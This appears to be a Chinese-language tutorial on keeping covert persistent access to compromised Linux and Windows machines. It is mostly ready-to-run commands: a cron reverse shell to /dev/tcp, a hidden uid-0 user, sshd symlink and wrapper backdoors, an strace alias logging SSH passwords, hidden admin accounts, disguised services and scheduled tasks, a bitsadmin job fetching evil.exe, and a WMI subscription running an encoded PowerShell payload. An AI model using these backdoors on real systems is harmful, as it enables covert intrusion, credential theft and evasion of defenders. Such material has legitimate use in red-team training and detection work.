win\&linux本地权限维持

目录


LINUX

cron

创建个文件(假设为/a/b),里面的核心内容是弹个shell回来 (最好在文件前加上#!/bin/bash)

然后chmod +xs /a/b

然后修改/etc/crontab,这里是每分钟执行一次

*/1 * * * * root /a/b

当然,也可以无文件落地。 但是需要修改一个地方 vim /etc/crontab 将SEHLL改为/bin/bash

image-20210803131457514

然后写入 bash -i >& /dev/tcp/xxx/xxx 0>&1

隐藏文件

创建.xxx文件即为隐藏文件,ls是看不到的,只有通过ls -al才能看到

网上还看到一个创建文件名字为...的方法,不知道实用性如何

创建恶意管理员用户

useradd -o -u 0 backdoor 然后为其设置个密码以便ssh登录,登上去就是root

时间戳修改

后门的时间戳需要改改,不然太容易被看出来,别人一个ls -al就看破了

touch -r index.php webshell.php 将index.php的时间赋予webshell.php
touch -t 1401021042.30 webshell.php 2014年1月2日10点42分30秒赋予webshell.php

inetd

需要inetd被安装

apt-get install openbsd-inetd

修改文件/etc/inetd.conf

image-20210803141045480

然后重启inetd

ps -ef | grep inetd
root        1928    1470  0 14:20 pts/0    00:00:00 grep inetd

kill 1928

然后另一台主机 nc -vv ip 13(默认端口13) 即可获得以下场景

image-20210803142658280

默认端口改法:

修改/etc/services文件,加入以下的东西

test 6666/tcp

然后修改/etc/inetd.conf ,在daytime附近

test stream tcp nowait root /bin/bash bash -i

image-20210803142955931

快速获取ssh链接(软连接后门)

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337; 受害机上执行

然后我们

ssh root@xxx.x.x.xx -p 31337

随便输个密码就进去了

Wrapper后门

cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' >sshd

echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd

echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
//不用重启也行
/etc/init.d/sshd restart

kali下的执行

##!bash
socat STDIO TCP4:192.168.206.142:22,sourceport=13377
即可开始控制
源端口修改
##!python
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A

没有链接的情况下是无法看到进程的,last也看不到登录,很隐蔽

SSH keylogger

vim当前用户的.bashrc文件 \~/.bashrc,末尾添加

alias ssh='strace -o /tmp/sshpwd-`date    '+%d%h%m%s'`.log -e read,write,connect  -s2048 ssh'

然后执行命令 source .bashrc,使配置生效。

随后当本地su或者ssh时,操作记录就会被记录到/tmp目录下。

image-20210804163128260

WINDOWS

影子用户

\$ 符号

net user ddd$ /add
net localgroup administrators ddd$ /add

这样的话,net user命令就看不到这个用户了 但是其他如注册表,用户管理界面和登陆界面都会发现此用户,所以说隐蔽性不高。

修改注册表

我们要对HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User 进行一些修改,但是默认这有SYSTEM可以修改SAM。所以我们需要修改一下相关权限:看图说话

image-20210725215111868

image-20210725215133627

在names中找到隐藏用户对应的值,然后去上层比对。

image-20210726112022028

可以发现隐藏用户的值为3f0。接下来我们把1f4(管理员表项)的F值复制到3f0中。

image-20210726112139132

复制后,将3f0和匿名用户的表项右键导出。 然后把我们的匿名用户删除

image-20210726112648019

然后双击两个导出的表项.

这样的话,我们这个匿名用户就只有在注册表可见了。

启动项

开始菜单启动项

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start   Menu\Programs\Startup

有些时候这个文件夹会改变,可以通过以下注册表键值来确定

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User   Shell Folders 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell   Folders 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell   Folders 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User   Shell Folders

把应用程序的快捷方式放进去有效,但是直接放应用程序进去就会失效。

启动项注册表后门

HKEY_LOCAL_MACHINE\SOFTWARE\Microft\windows\currentversion\run

命令

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run   /v "Keyname" /t REG_SZ /d "C:\test.bat" /f

服务

服务后门往往拥有SYSTEM权限

将exe木马添加到自启动服务中 

sc create "GoogleUpdated" binpath=   "C:\Users\Administrator\Desktop\test.exe" 

sc description "GoogleUpdated"   "description" 设置服务的描述字符串 

sc config "GoogleUpdated"   start= auto  设置这个服务为自动启动 
net start "GoogleUpdated"   启动服务

如果直接用普通后门来做服务后门,那么就会出问题: windows下的服务启动后若未在一定时间内与服务中心通信则会被终止。

但是CS可以直接生成服务马。

计划任务

schtasks /create /sc minute /mo 5   /tn "chrome" /tr c:\test.bat

schtasks /create /sc minute /mo 1 /tn "chrome" /tr wscript.exe C:\Users\AppData\Local\Temp\13442980_crypted.vbs

schtasks /create /tn foo1 /tr C:\Windows\apppatch\windows.exe /sc once /st 05:25 /S 18.217.*.* /RU System

schtasks /create /s 192.168.1.2 /u administrator /p Passw0rd! /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\wmpub\add.bat/F

schtasks /create /s 192.168.1.2 /u administrator/p Passw0rd! /ru "SYSTEM" /tn adduser /sc DAILY /tr \\192.168.1.2\c$\windows\beacon.exe

schtasks /run /s 192.168.1.2 /u administrator /pPassw0rd! /tn adduser /i

/s指定远程机器名或ip地址,/ru指定运行任务的用户权限,这里指定为最高的SYSTEM,/tn是任务名称,/sc是任务运行频率,这里指定为每天运行,并没什么实际意义,/tr指定运行的文件,/F表示如果指定的任务已经存在,则强制创建任务并抑制警告。/i表示立即运行

隐藏

修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\test中任务对应的index值(默认3),修改为0。无法修改时需要更改权限,将所有者改为administrators,并赋予所有权限。 赋予为0后无法直接查看任务。 这样schtasks和任务查看器均不能看见此任务。 此外win10还可以删除C:\Windows\System32\Tasks 下对应任务名的文件,以便达到更好的隐藏目的。(win10以外版本 删除此文件会导致任务无法运行) 但这种隐藏方式可以用命令 schtasks /query /tn 任务名来查看(任务名可以通过注册表查看)。

为了避免被这样排查出来,在win10下可以删除C:\Windows\System32\Tasks 下对应文件并删除HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\test中SD值

Logon Scripts

Logon Scripts优先于 av 先执行,我们可以利用这一点来绕过 av 的敏感操作拦截

在HKEY_CURRENT_USER\Environment表项创建一个值为 UserInitMprLogonScript ,值为我们要启动的程序路径。

image-20210726121119752

用户重新登陆后后门被启动。

WIN7可行

组策略后门

开始->运行->键入"gpedit.msc"->本地组策略编辑器->window设置(system)->脚本->启动->属性

点击显示文件:

C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup

把我们的后门程序复制到这个路径,然后这个脚本开机就会自动加载执行了。

win7下复现失败。反正有这个玩意,我看别人拿2003复现成功了,容易被查杀。

当然也可以在域控机器上通过组策略下发此脚本来使域中人员登陆时上线。不过这不在本文讨论范畴之内了。

启用GUEST

Guest用户本身就存在于计算机中,但是一般默认禁止,且不可登录,我们可以通过命令激活Guest用户并赋予管 理员权限,并允许远程桌面登录。

net user Guest /active:yes
net user Guest guest@123456
net localgroup Administrators Guest /ADD

gpedit.msc->计算机配置->windows设置->安全设置->本地策略->用户权限分配->允许通过远程桌面服务登录 添加Guest

BITSADMIN后门

bitsadmin指令一般是用于下载文件的,但它也可以用于持久化。

bitsadmin的SetNotifyCmdLine参数意是用于下载文件后紧随其后调用一个命令,但是这个参数被黑客利用后就成了一个很不错的后门。

bitsadmin /create backdoor 创建一个bitsadmin任务backdoor
bitsadmin /addfile backdoor http://a.com/a.exe c:\temp\a.exe 添加一个任务列表,将远程(本地)的一个文件下载到本地
bitsadmin /SetNotifyCmdLine backdoor c:\users\hacker\evil.exe nul    倒数第二个参数是要打开的应用程式,倒数第一个参数是打开文件时附加的参数
bitsadmin /SetMinRetryDelay "backdoor" 60  每60秒重试任务
bitsadmin /resume backdoor  调用指定任务

我们执行完以上指令后,会马上命令执行一次(SetNotifyCmdLine中指定的cmd命令,这里我们就是仅仅执行了我们的恶意EXE)。

重启后发现任务依然存在

image-20210731220643989

按理说每隔一段时间我的马就会被执行一次,但实际上并没有,不知道为何。

WMI

使用WMI存储信息

你可以用WMI来存储你的shellcode,恶意文件路径等,这种存储方式相对来说比较隐蔽

$StaticClass = New-Object Management.ManagementClass('root\cimv2',$null,$null) #新建wmi类
$StaticClass.Name = "a" #设置wmi类名
$StaticClass.Properties.Add('key',"shellcode") #设置wmi属性键值
$StaticClass.put() #提交以上更改

##访问信息
([WmiClass] 'a').Properties['key'].Value

过滤器+处理器

这个后门是这么实现的

1.设定一个事件过滤器,用于监听事件如开机,启动某应用等等 2.设定一个事件处理器,用于设置监听到某事件发生后所采取的行动 3.将过滤器和处理器绑定在一起

$$EncodedPayload=""

## 构造 WMI永久事件订阅(permanent event subscriptions) 
$filterName='EvilFilter'
$consumerName='EvilConsumer'

## 1. 创建一个 事件过滤器__EventFilter,用于设定触发条件,每隔60s执行一次
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
## or $Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320"
## 事件筛选器在系统启动后的 200 和 320 秒之间被当作一个触发器。在事件被触发时事件消费者会使用 CommandLineEventConsumer 执行已指定好的可执行文件。
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop

## 2. 创建一个 事件消费者 CommandLineEventConsumer ,用于设定执行的操作
$Arg =@{Name=$consumerName;CommandLineTemplate="C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe  -NonInteractive  -enc $EncodedPayload"}
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments $Arg

## 3. 绑定filter和consumer

Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

文件隐藏

attrib +s +h ./a
+s:设置为系统文件,更具有迷惑性,且权限较高
+h:隐藏文件